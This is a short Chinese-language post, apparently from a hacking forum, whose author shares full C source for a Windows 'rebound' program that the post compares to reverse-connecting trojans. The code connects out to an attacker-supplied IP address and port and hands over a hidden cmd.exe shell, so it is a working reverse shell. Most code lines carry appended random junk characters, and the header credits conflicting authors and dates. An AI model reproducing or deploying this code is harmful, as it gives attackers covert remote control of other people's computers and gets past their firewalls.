这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 %(-YOTDr
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/* ============================== 4Pljyq:
Rebound port in Windows NT W7as=+;X
By wind,2006/7 +fhyw{
===============================*/ bH41#B
#include |zu>G9m
#include (%>Sln5hq
>:]fN61#
#pragma comment(lib,"wsock32.lib") yvxC/Jo4
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void OutputShell(); B-[SUmHr
SOCKET sClient; Xl6)&
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; YF{K9M!
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void main(int argc,char **argv) wN)R !6
{ ZW2#'$b
WSADATA stWsaData; 2LYd
# !i
int nRet; 7/vr!tbL`p
SOCKADDR_IN stSaiClient,stSaiServer; E|9LUPcb
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if(argc != 3) l@*/1O)v
{ >*} qGk
printf("Useage:\n\rRebound DestIP DestPort\n"); )
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return; ]@J}f}Mjo
} 8{+~3@T
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WSAStartup(MAKEWORD(2,2),&stWsaData); ^qbX9.\
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); YLd
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stSaiClient.sin_family = AF_INET; TiBE9
stSaiClient.sin_port = htons(0); CES FkAj~
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Vd<=
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) HHnabSn}{q
{ 0K3FH&.%
printf("Bind Socket Failed!\n"); Y0B*.H
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return; (+]k{
} nv $
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stSaiServer.sin_family = AF_INET; >!)VkDAG
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); <M'IRf/D
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); sf*SxdoZU
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) yL
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{ peqFa._W
printf("Connect Error!"); pO+1?c43
return; 3+|6])Hi1
} pn $50c
OutputShell(); |16
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} 1UM]$$:i
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void OutputShell() &yA<R::o
{ E+1j3Q;
char szBuff[1024]; C(0Iv[~y/
SECURITY_ATTRIBUTES stSecurityAttributes; }\0"gM
OSVERSIONINFO stOsversionInfo; =h_gj >
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; GO)rpk9
STARTUPINFO stStartupInfo; m~U{ V9;*
char *szShell; \QMSka>
PROCESS_INFORMATION stProcessInformation; 'j3'n0o
unsigned long lBytesRead; &"kx(B
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 1I+5
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Y>#c2@^i<
stSecurityAttributes.lpSecurityDescriptor = 0; j d81E
stSecurityAttributes.bInheritHandle = TRUE; W_
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); PjP%,-@1
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); =0)^![y]v
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @Hf}PBb
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6+u'Tcb
stStartupInfo.wShowWindow = SW_HIDE; d$TW](Bby
stStartupInfo.hStdInput = hReadPipe; ~JNuy"8
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; `?@7 KEl>
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GetVersionEx(&stOsversionInfo); 4AM*KI
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switch(stOsversionInfo.dwPlatformId) ^"l$p,P+
{ 2bJFlxEU
case 1: `@eH4}L*
szShell = "command.com"; 'AAY!{>
break; f5a](&
default: Xp~]kRm9
szShell = "cmd.exe"; ;gMh]$|"
break; "P{&UwMmh
} u
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 'MUrszOO.e
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send(sClient,szMsg,77,0); O$H150,Q
while(1) H+;wnI>@
{ WNb$2q=
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Vd0GTpB?1
if(lBytesRead) E%^28}dN
{ 8[C6LG
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); `g1Oon_
send(sClient,szBuff,lBytesRead,0); rxK0<pWJhx
} X4$e2f
else @;6}xO2
{ j1F+,
lBytesRead=recv(sClient,szBuff,1024,0); V)2_T!e%*
if(lBytesRead<=0) break; A,{D9-%
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); a+/|O*>#
} gn"&/M9E
} i'wF>EBz
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return; pCmJY
}